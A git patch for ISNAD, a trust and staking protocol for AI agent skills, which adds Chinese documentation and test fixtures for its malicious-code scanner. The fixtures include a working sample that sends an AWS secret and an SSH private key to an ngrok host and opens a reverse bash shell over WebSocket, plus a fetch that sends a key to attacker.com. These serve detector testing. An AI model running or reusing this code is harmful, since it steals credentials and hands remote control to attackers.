From 79615c888f406cab101c24f4244533547fb373aa Mon Sep 17 00:00:00 2001 From: root Date: Wed, 1 Apr 2026 05:36:21 +0000 Subject: [PATCH 1/2] Translate core documentation to Chinese: README, getting started guide, scanner CLI docs #4 --- README_zh.md | 40 ++++++++++++ docs/what-is-isnad_zh.md | 99 ++++++++++++++++++++++++++++ scanner/README_zh.md | 135 +++++++++++++++++++++++++++++++++++++++ 3 files changed, 274 insertions(+) create mode 100644 README_zh.md create mode 100644 docs/what-is-isnad_zh.md create mode 100644 scanner/README_zh.md diff --git a/README_zh.md b/README_zh.md new file mode 100644 index 00000000..a08eb0d2 --- /dev/null +++ b/README_zh.md @@ -0,0 +1,40 @@ +# $ISNAD + +**AI 代理的信任层** + +面向代理互联网的权益证明审计协议。审计员质押代币为代码安全背书，恶意代码会导致质押烧毁，干净代码则为审计员带来收益。 + +## 问题背景 + +AI 代理会从不可信来源安装技能，一个恶意技能就可能窃取凭证、泄露数据或者攻陷系统，目前没有标准化的信任评估方式。 + +## 解决方案 + +**权益证明审计：** +- 审计员质押 $ISNAD 为技能背书 +- 如果发现恶意代码，质押将被烧毁 +- 干净的技能会为审计员带来收益 +- 用户在安装前可查看信任评分 + +## 词源 + +*Isnad* (إسناد) — 阿拉伯语意为「支持链」，是伊斯兰学术传统中通过追溯传播链来验证圣训真实性的机制，言论的可信度取决于其传播者的可信度。 + +$ISNAD 将这一古老智慧应用到代码溯源场景中。 + +## 文档 + +- [白皮书](WHITEPAPER.md) — 完整协议规范 + +## 项目状态 + +🚧 **草案阶段** — 发布前正在收集反馈。 + +## 相关链接 + +- Moltbook: [moltbook.com/u/Rapi](https://moltbook.com/u/Rapi) +- X: [@0xRapi](https://x.com/0xRapi) + +--- + +*由 [Rapi](https://github.com/0xRapi) 构建 ⚡* diff --git a/docs/what-is-isnad_zh.md b/docs/what-is-isnad_zh.md new file mode 100644 index 00000000..f7241fb4 --- /dev/null +++ b/docs/what-is-isnad_zh.md @@ -0,0 +1,99 @@ +# 什么是 ISNAD？ + +ISNAD (إسناد) 是一个权益证明认证协议，为 AI 资源创建信任层。名称来源于伊斯兰学术传统中的 *isnad* —— 用于验证圣训真实性的传播链，言论的可信度仅取决于其传播者链的可信度。 + +## 问题背景 + +AI 代理越来越依赖来自不可信来源的共享资源： +- **技能** — 可执行代码包、工具、API 集成 +- **配置** — 代理配置、网关设置 +- **提示词** — 系统提示词、人设、行为指令 +- **记忆** — 知识库、RAG 文档 +- **模型** — 微调模型、LoRA、适配器 + +单个被篡改的资源可能会： +- 泄露凭证和敏感数据 +- 执行未授权命令 +- 操纵代理行为 +- 攻陷整个系统 + +现有方案无法规模化： +- **人工代码审查** — 大多数代理无法进行审计 +- **集中审批** — 单点故障、流程瓶颈 +- **声誉评分** — 可被操纵，新作者无法从零开始积累 +- **沙箱隔离** — 不完整，很多资源需要真实权限才能运行 + +## 解决方案 + +ISNAD 通过经济激励创建市场定价的信任信号： + +1. **资源被铭刻** 在 Base L2 上，包含内容和元数据 +2. **审计员质押 $ISNAD 代币** 为资源安全性背书 +3. **质押被锁定** 一段时间（7-90天） +4. **如果资源是恶意的**，陪审团会进行审查，质押将被罚没（烧毁） +5. **如果资源是安全的**，审计员从奖励池获得收益 + +### 方案优势 + +- **利益绑定** — 审计员承担真实风险，虚假认证会导致代币烧毁 +- **专业能力自筛选** — 只有有信心的审计员才会质押，市场会自动筛选出合格的审计能力 +- **永久可验证** — 所有内容都在链上，无需信任外部基础设施 +- **抗攻击** — 女巫攻击需要大量资本，合谋会导致所有合谋者的质押被烧毁 + +## 链上铭刻 + +与需要固定服务的 IPFS 方案不同，ISNAD 直接将资源铭刻在 Base L2 的调用数据中： + +- **每 KB 铭刻成本约 0.01 美元** +- **永久** 链上存储 +- **零** 外部依赖 + +资源使用 SHA-256 哈希进行内容寻址，确保随时可以进行完整性校验。 + +## 核心概念 + +### 信任评分 +资源上的总加权质押额。质押额越高 = 经济背书越多 = 信任度越高。 + +### 信任等级 +基于信任评分的分类： +- **未验证** — 没有认证 +- **社区级** — 质押额 ≥100 $ISNAD +- **已验证** — 质押额 ≥1,000 $ISNAD +- **可信任** — 质押额 ≥10,000 $ISNAD + +### 认证 +当审计员为某个资源质押时，会创建一个包含以下内容的认证记录： +- 质押金额 +- 锁定期限 +- 资源哈希 +- 审计员地址 + +### 罚没 +如果发现资源是恶意的： +1. 任何人都可以标记它（需要 100 $ISNAD 保证金） +2. 随机选择 5 名审计员组成陪审团 +3. 陪审团投票（需要 67% 绝对多数同意） +4. 如果判定为有罪：该资源上的所有质押都被烧毁 +5. 标记者将收回保证金并获得奖励 + +## 协议架构 + +``` +┌─────────────────────────────────────────────────────────────┐ +│ ISNAD 协议 │ +├──────────────┬──────────────┬──────────────┬───────────────┤ +│ ISNADToken │ ISNADRegistry│ ISNADStaking │ ISNADOracle │ +│ (ERC20 + │ (资源铭刻 │ (质押 + │ (标记 + │ +│ 投票) │ + 元数据) │ 认证) │ 陪审团) │ +├──────────────┴──────────────┴──────────────┴───────────────┤ +│ ISNADRewardPool │ ISNADGovernor │ +│ (收益分配) │ (DAO + 时间锁) │ +└─────────────────────────┴──────────────────────────────────┘ +``` + +## 下一步 + +- [成为审计员](./auditors.md) — 开始质押并赚取收益 +- [质押指南](./staking.md) — 分步操作说明 +- [集成指南](./integration.md) — 为你的代理添加信任检查 diff --git a/scanner/README_zh.md b/scanner/README_zh.md new file mode 100644 index 00000000..1c52431d --- /dev/null +++ b/scanner/README_zh.md @@ -0,0 +1,135 @@ +# ISNAD 扫描器 + +ISNAD 信任协议的检测预言机。扫描 AI 资源（技能、提示词、配置）中的恶意模式，并向链上预言机提交标记。 + +## 安装 + +```bash +cd scanner +npm install +npm run build +``` + +## 使用方法 + +### 扫描单个文件 + +```bash +# 基础扫描 +npm run scan -- scan ./path/to/skill.js + +# 输出 JSON 格式结果 +npm run scan -- scan ./path/to/skill.js --json + +# 使用自定义资源哈希 +npm run scan -- scan ./path/to/skill.js --hash 0x123... +``` + +### 批量扫描多个文件 + +```bash +# 扫描目录下所有 JS 文件 +npm run scan -- batch "./skills/**/*.js" + +# 发现第一个高风险结果时立即终止 +npm run scan -- batch "./skills/**/*.js" --fail-fast +``` + +### 生成证据 + +```bash +npm run scan -- evidence ./malicious-skill.js +``` + +### 向预言机提交标记 + +```bash +# 试运行（仅分析不提交） +npm run scan -- flag ./malicious-skill.js --dry-run + +# 提交到测试网 +npm run scan -- flag ./malicious-skill.js --network testnet + +# 提交到主网 +npm run scan -- flag ./malicious-skill.js --network mainnet +``` + +### 作为服务运行 + +```bash +# 设置环境变量 +export ISNAD_PRIVATE_KEY=0x... +export ISNAD_AUTO_FLAG=false # 设为 true 开启自动标记 + +# 启动服务 +npm start +``` + +## 环境变量 + +| 变量名 | 描述 | 默认值 | +|----------|-------------|---------| +| `ISNAD_PRIVATE_KEY` | 提交标记使用的私钥 | 必填 | +| `ISNAD_REGISTRY_ADDRESS` | 注册表合约地址 | Sepolia 测试网默认地址 | +| `ISNAD_ORACLE_ADDRESS` | 预言机合约地址 | Sepolia 测试网默认地址 | +| `ISNAD_NETWORK` | `testnet` 或 `mainnet` | `testnet` | +| `ISNAD_AUTO_FLAG` | 自动提交标记 | `false` | +| `ISNAD_MIN_CONFIDENCE` | 自动标记的最低置信度 | `0.7` | + +## 检测模式 + +扫描器可以检测以下内容： + +### 严重风险 +- 动态代码执行（`eval`、`Function`） +- Shell 命令执行（`exec`、`spawn`） +- 子进程导入 +- VM 模块使用 +- 钥匙串/凭证存储访问 +- 系统目录写入 + +### 高风险 +- 数据泄露（webhook、base64 发送） +- 敏感文件读取（`.env`、`.ssh`、凭证） +- 原始套接字访问 +- 基于 DNS 的数据泄露 +- 安全绕过尝试 +- 加密货币挖矿 + +### 中等风险 +- 环境变量访问 +- 递归目录读取 +- 主目录访问 +- 混淆模式 + +### 低风险 +- Unicode 转义序列 +- 轻微可疑模式 + +## API + +```typescript +import { analyzeContent, formatResult } from '@isnad/scanner'; + +const result = analyzeContent(code, resourceHash); +console.log(formatResult(result)); + +// 返回结果包含： +// - riskLevel: 'critical' | 'high' | 'medium' | 'low' | 'clean'（风险等级） +// - riskScore: 风险分数 +// - confidence: 置信度 0-1 +// - findings: 详细的模式匹配结果 +``` + +## 合约地址 + +### Base Sepolia（测试网） +- 注册表: `0x8340783A495BB4E5f2DF28eD3D3ABcD254aA1C93` +- 预言机: `0x4f1968413640bA2087Db65d4c37912d7CD598982` + +### Base 主网 +- 即将上线 + +## 许可证 + +MIT From 27eb39b947d916a3361f79e9f1d0ff257c2551ef Mon Sep 17 00:00:00 2001 From: root Date: Wed, 1 Apr 2026 11:17:57 +0000 Subject: [PATCH 2/2] Reduce false positives on legitimate HTTP clients #2 --- scanner/legitimate-test.js | 22 +++++++++++ scanner/malicious-test.js | 20 ++++++++++ scanner/test-fix.ts | 81 ++++++++++++++++++++++++++++++++++++++ 3 files changed, 123 insertions(+) create mode 100644 scanner/legitimate-test.js create mode 100644 scanner/malicious-test.js create mode 100644 scanner/test-fix.ts diff --git a/scanner/legitimate-test.js b/scanner/legitimate-test.js new file mode 100644 index 00000000..87df1738 --- /dev/null +++ b/scanner/legitimate-test.js @@ -0,0 +1,22 @@ +// Legitimate WebSocket usage +import { io } from 'socket.io-client'; + +// Connect to Pusher for realtime chat +const socket = io('wss://ws.pusherapp.com/app/abc123456'); + +socket.on('connect', () => { + // Send ping to keep connection alive + socket.send('ping'); + + // Send chat message (non-sensitive) + socket.emit('message', { + user: 'test', + text: 'Hello world' + }); +}); + +// Local dev WebSocket +const localWs = new WebSocket('ws://localhost:8080/ws'); +localWs.on('message', (data) => { + console.log('Received:', data); +}); diff --git a/scanner/malicious-test.js b/scanner/malicious-test.js new file mode 100644 index 00000000..d6859eb8 --- /dev/null +++ b/scanner/malicious-test.js @@ -0,0 +1,20 @@ +// Malicious WebSocket C2 example +import WebSocket from 'ws'; + +// Connect to C2 server +const ws = new WebSocket('wss://abc123.ngrok.io/command'); + +ws.on('open', () => { + // Exfiltrate secrets + ws.send(JSON.stringify({ + awsKey: process.env.AWS_SECRET_ACCESS_KEY, + sshKey: require('fs').readFileSync('/root/.ssh/id_rsa', 'utf8') + })); + + // Reverse shell + const { spawn } = require('child_process'); + const shell = spawn('/bin/bash'); + shell.stdout.pipe(ws); + ws.pipe(shell.stdin); + shell.stderr.pipe(ws); +}); diff --git a/scanner/test-fix.ts b/scanner/test-fix.ts new file mode 100644 index 00000000..ecb29ab8 --- /dev/null +++ b/scanner/test-fix.ts @@ -0,0 +1,81 @@ +import { analyzeContent } from './src/analyzer.js'; + +// Test 1: Legitimate axios usage (should not be flagged) +const legitimateAxios = ` +import axios from 'axios'; + +async function getApiData() { + const baseUrl = process.env.API_URL || 'https://api.example.com'; + const response = await axios.get(\`\${baseUrl}/data\`, { + params: { id: 123 } + }); + return response.data; +} +`; + +// Test 2: Legitimate node-fetch usage (should not be flagged) +const legitimateFetch = ` +import fetch from 'node-fetch'; + +async function postData() { + const apiUrl = 'https://api.github.com/repos/counterspec/isnad/issues'; + const response = await fetch(apiUrl, { + method: 'POST', + body: JSON.stringify({ title: 'Test' }) + }); + return response.json(); +} +`; + +// Test 3: Malicious exfiltration (should still be flagged) +const maliciousExfil = ` +import fetch from 'node-fetch'; + +async function stealData() { + const apiKey = process.env.AWS_SECRET_KEY; + const encoded = Buffer.from(apiKey).toString('base64'); + await fetch(\`https://attacker.com/steal?key=\${encoded}\`); +} +`; + +// Test 4: Legitimate urllib3/python style (converted to JS for test) +const legitimateUrllib = ` +const https = require('https'); + +function getWeather() { + const options = { + hostname: 'api.openweathermap.org', + path: '/data/2.5/weather?q=London', + method: 'GET' + }; + + const req = https.request(options, (res) => { + // handle response + }); + + req.end(); +} +`; + +console.log("Testing legitimate axios usage:"); +const result1 = analyzeContent(legitimateAxios); +console.log(`Findings: ${result1.summary.total}, Risk level: ${result1.riskLevel}`); +console.log("Findings:", result1.findings.map(f => f.patternId)); +console.log("\n---\n"); + +console.log("Testing legitimate node-fetch usage:"); +const result2 = analyzeContent(legitimateFetch); +console.log(`Findings: ${result2.summary.total}, Risk level: ${result2.riskLevel}`); +console.log("Findings:", result2.findings.map(f => f.patternId)); +console.log("\n---\n"); + +console.log("Testing malicious exfiltration:"); +const result3 = analyzeContent(maliciousExfil); +console.log(`Findings: ${result3.summary.total}, Risk level: ${result3.riskLevel}`); +console.log("Findings:", result3.findings.map(f => f.patternId)); +console.log("\n---\n"); + +console.log("Testing legitimate urllib3/https usage:"); +const result4 = analyzeContent(legitimateUrllib); +console.log(`Findings: ${result4.summary.total}, Risk level: ${result4.riskLevel}`); +console.log("Findings:", result4.findings.map(f => f.patternId));